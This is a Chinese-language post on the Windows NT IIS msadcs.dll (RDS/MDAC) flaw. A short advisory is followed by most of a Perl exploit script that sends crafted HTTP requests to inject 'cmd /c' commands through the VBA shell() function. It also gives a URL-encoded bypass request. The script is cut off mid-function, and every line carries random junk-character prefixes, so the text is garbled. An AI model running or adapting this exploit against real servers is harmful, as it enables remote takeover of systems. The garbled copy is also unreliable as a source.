IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{A05u3} <4HDZ{"M 涉及程序:
AT2n VakL Microsoft NT server
75XJL;W # kH
G"XTL 描述:
Q$zO83 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&B6Ep6QS f,018]| 详细:
$\X[@E S0 如果你没有时间读详细内容的话,就删除:
J4fi' c:\Program Files\Common Files\System\Msadc\msadcs.dll
,[P{HrHx 有关的安全问题就没有了。
hpO`] [PNT\ElT 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
?#}N1k\S =A83W/4 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
pHLB = r 关于利用ODBC远程漏洞的描述,请参看:
hEKf6# Z{]0jhUyNh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7$CBx/X50) UG+d-&~Ll 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
5kCUaPu http://www.microsoft.com/security/bulletins/MS99-025faq.asp PoG-Rqe 6WXRP;!Q 这里不再论述。
CxwoBuG=? `erV$( M 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
/`wvxKX PHZ0P7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@~^5l 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
J IUx JB<Sl4 um!J]N^ #将下面这段保存为txt文件,然后: "perl -x 文件名"
,$s8GAmq n\*!CXc #!perl
|)(VsVG& #
E&2OD [iX # MSADC/RDS 'usage' (aka exploit) script
S4Y& #
l]Ax : Z # by rain.forest.puppy
}fb#G<3 #
+BETF;0D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Lr$go6s # beta test and find errors!
dfKF%27 ,!#*GZ.ix use Socket; use Getopt::Std;
C~2F9Pg getopts("e:vd:h:XR", \%args);
haK3?A,"_A gG<~-8uQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2bw_IT !dyXJQ if (!defined $args{h} && !defined $args{R}) {
<>y;.@}Q print qq~
itBwCIj G Usage: msadc.pl -h <host> { -d <delay> -X -v }
-GhP9; d -h <host> = host you want to scan (ip or domain)
[q?<Qe -d <seconds> = delay between calls, default 1 second
,|y:" s -X = dump Index Server path table, if available
WrQD X3 -v = verbose
B+\3-q -e = external dictionary file for step 5
D~S<U ^o3"#r{:+ Or a -R will resume a command session
Ve}(s?hU5 _(%d(E2? ~; exit;}
w$zu~/qV2 3x{t( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oM2l-[- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Wh+{mvu# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I&}L*Z?` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8 OY 3A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]zE;Tw.S if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[^Os kJ4 *W,]>v0%T if (!defined $args{R}){ $ret = &has_msadc;
$PTP/^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m0ER@BXRn {o_X`rgrL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_=_Px@<Q . "cmd /c ";
,k )w6) $in=<STDIN>; chomp $in;
1+szG1U= $command="cmd /c " . $in ;
=RA / b6nsg| if (defined $args{R}) {&load; exit;}
}()5"QB 4>F'oqFF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
0m%|U'm|j &try_btcustmr;
gd%NkxmW ~$Tkn_w# print "\nStep 2: Trying to make our own DSN...";
<"{qk2LS1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Uzz'.K(Mv| rI= v print "\nStep 3: Trying known DSNs...";
be]bZ
1f &known_dsn;
Tl(^ s.bc>E0
print "\nStep 4: Trying known .mdbs...";
27
]':A4_ &known_mdb;
TSTl+W =mS\i663 if (defined $args{e}){
nKPYOY8^ print "\nStep 5: Trying dictionary of DSN names...";
s)noo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[~-9i&Z Y-kt.X/Z- print "Sorry Charley...maybe next time?\n";
X 0WJBEE exit;
|n+qMql' sy:[T T!w ##############################################################################
LJd5;so- D>/0v8
sub sendraw { # ripped and modded from whisker
LLk(l#K* sleep($delay); # it's a DoS on the server! At least on mine...
77C'*tt1] my ($pstr)=@_;
t2/#&J] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O@u?h9?cf> die("Socket problems\n");
]op}y0 if(connect(S,pack "SnA4x8",2,80,$target)){
7mI:|G select(S); $|=1;
D^yRaP*|7 print $pstr; my @in=<S>;
=5J7Hw&K select(STDOUT); close(S);
e<3K;Q return @in;
aC$B2 } else { die("Can't connect...\n"); }}
aZ2!i ]NUl9t*N4 ##############################################################################
JlH&?? {G U&a sub make_header { # make the HTTP request
.>=(' - my $msadc=<<EOT
<e Th POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7&t-pv92* User-Agent: ACTIVEDATA
<'qeXgi Host: $ip
!nqUBa Content-Length: $clen
1C<uz29 Connection: Keep-Alive
u[@l~gwL Eo{"9j\ ADCClientVersion:01.06
3.|S Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.<jr0,i }Mst jm --!ADM!ROX!YOUR!WORLD!
}#L^! \V} Content-Type: application/x-varg
*@Lp`thq Content-Length: $reqlen
p`b"-[93 d74d/l1*{ EOT
2)G
%)' ; $msadc=~s/\n/\r\n/g;
-e_hrCW&9 return $msadc;}
3kw,(-'1 Ja,wfRq ##############################################################################
s3~lT. &M46&^Jho sub make_req { # make the RDS request
pOGeruu? my ($switch, $p1, $p2)=@_;
v=0(~<7B my $req=""; my $t1, $t2, $query, $dsn;
GR&z, .:@Ykdm4I if ($switch==1){ # this is the btcustmr.mdb query
d ^^bke$~ $query="Select * from Customers where City=" . make_shell();
GGNvu)" $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Bzkoo J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3L<wQ( 7op`s5i elsif ($switch==2){ # this is general make table query
dYT% $query="create table AZZ (B int, C varchar(10))";
>pU$wq|i $dsn="$p1";}
lpQSup =y
[M\m elsif ($switch==3){ # this is general exploit table query
.n#@$
nGZ $query="select * from AZZ where C=" . make_shell();
T ?$:'XJ $dsn="$p1";}
5]NqRI^0 Kf>A\l^X7 elsif ($switch==4){ # attempt to hork file info from index server
C>-aIz!y $query="select path from scope()";
O[I\A[* $dsn="Provider=MSIDXS;";}
@OV|]u ~<O7$~ elsif ($switch==5){ # bad query
:yRo3c $query="select";
KV]X@7`@ $dsn="$p1";}
&,}j#3< JW{rA6? $t1= make_unicode($query);
igIRSN}h $t2= make_unicode($dsn);
3N dq> $req = "\x02\x00\x03\x00";
8cU}I4| $req.= "\x08\x00" . pack ("S1", length($t1));
k,85Y$`' $req.= "\x00\x00" . $t1 ;
GC?ON0g5s $req.= "\x08\x00" . pack ("S1", length($t2));
gnFr}L&j $req.= "\x00\x00" . $t2 ;
C9~52+S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
",^Mxm{ return $req;}
kqM045W7 ]^Qn ##############################################################################
?j40}
B]]d >[9J?H sub make_shell { # this makes the shell() statement
9{(.Il J> return "'|shell(\"$command\")|'";}
o^^rJk 8VeQ-#7M/ ##############################################################################
isQ[ Gc!8 !B\R''J5 sub make_unicode { # quick little function to convert to unicode
,VCyG:dw my ($in)=@_; my $out;
W{5#@_pL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{1IfU return $out;}
ZX>AE3wk [NaN>BZ? ##############################################################################
ix([mQg 7({]x*o*% sub rdo_success { # checks for RDO return success (this is kludge)
Hc>m;[M)l my (@in) = @_; my $base=content_start(@in);
gG]Eeu+z
if($in[$base]=~/multipart\/mixed/){
H| 8Qp* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>d,jKlh^.% return 0;}
v16JgycM 6A>dhU ##############################################################################
3
^>l\, <QA6/Ef7 sub make_dsn { # this makes a DSN for us
Jl5c
[F my @drives=("c","d","e","f");
C"!gZ8*\!9 print "\nMaking DSN: ";
55tKTpV foreach $drive (@drives) {
CS@FYO print "$drive: ";
{_`^R>"\&w my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
23c 8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=-8bsV/l . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;LG#.~f $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
*QwY]j%^ return 0 if $2 eq "404"; # not found/doesn't exist
rf?qdd(~cH if($2 eq "200") {
<g1hxfKx5 foreach $line (@results) {
i>D.!x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qyF{f8pzq } return 0;}
luo jFASX2.p ##############################################################################
S<VSn}vn <J`0mVOX sub verify_exists {
g'H$R~ag my ($page)=@_;
G_0(
|% my @results=sendraw("GET $page HTTP/1.0\n\n");
n;@bLJ$W return $results[0];}
d Vj_8> z2g3FUTX)b ##############################################################################
VKq=7^W :pGaFWkvO sub try_btcustmr {
Ove<mFI\ my @drives=("c","d","e","f");
l|/ep:x8 my @dirs=("winnt","winnt35","winnt351","win","windows");
P!H_1RwXKC *1v[kWa? foreach $dir (@dirs) {
q=%RDG+ print "$dir -> "; # fun status so you can see progress
^lA=* jY( foreach $drive (@drives) {
[P&7i57 print "$drive: "; # ditto
mS^tX i5hg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
KVT-P};jy* $reqlenlen=length( "$reqlen" );
A/u)# ^\ $clen= 206 + $reqlenlen + $reqlen;
zG ^$"f2 P(H8[ , my @results=sendraw(make_header() . make_req(1,$drive,$dir));
PcA2/!a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)TVFtI=,NN else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
mS~o?q-n tnPv70m ##############################################################################
j6Yy6X] K
P Oa|$ sub odbc_error {
yf[~Yl>Ogw my (@in)=@_; my $base;
-=~| ."O my $base = content_start(@in);
~$)2s7
O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{OXFN;2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,q}MLTSi $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H@q?v+2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U*22h` S return $in[$base+4].$in[$base+5].$in[$base+6];}
ujlY!-GM print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_H j!2 ' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Xs~[& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;_rF;9z9 ,1 [q^-9 ##############################################################################
'}fzX2Q# )n2 re?S sub verbose {
v6>_ j
L my ($in)=@_;
| # 47O return if !$verbose;
\QYFAa print STDOUT "\n$in\n";}
5*Y^\N j@SQ~AS ##############################################################################
$npT[~U5
Dp)=0<$y sub save {
sg$rzT-S4 my ($p1, $p2, $p3, $p4)=@_;
Tk5W'p|6f open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_F$aUtb%O print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
VU&7P/\f% close OUT;}
U<DZ:ds?T thifRd$4 ##############################################################################
:_g$.h%% 4lKq{X5< sub load {
?QFpv#4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wVEm:/;z& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)N7Y^CN~ @p=<IN>; close(IN);
2QJ{a46} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
w8U&ls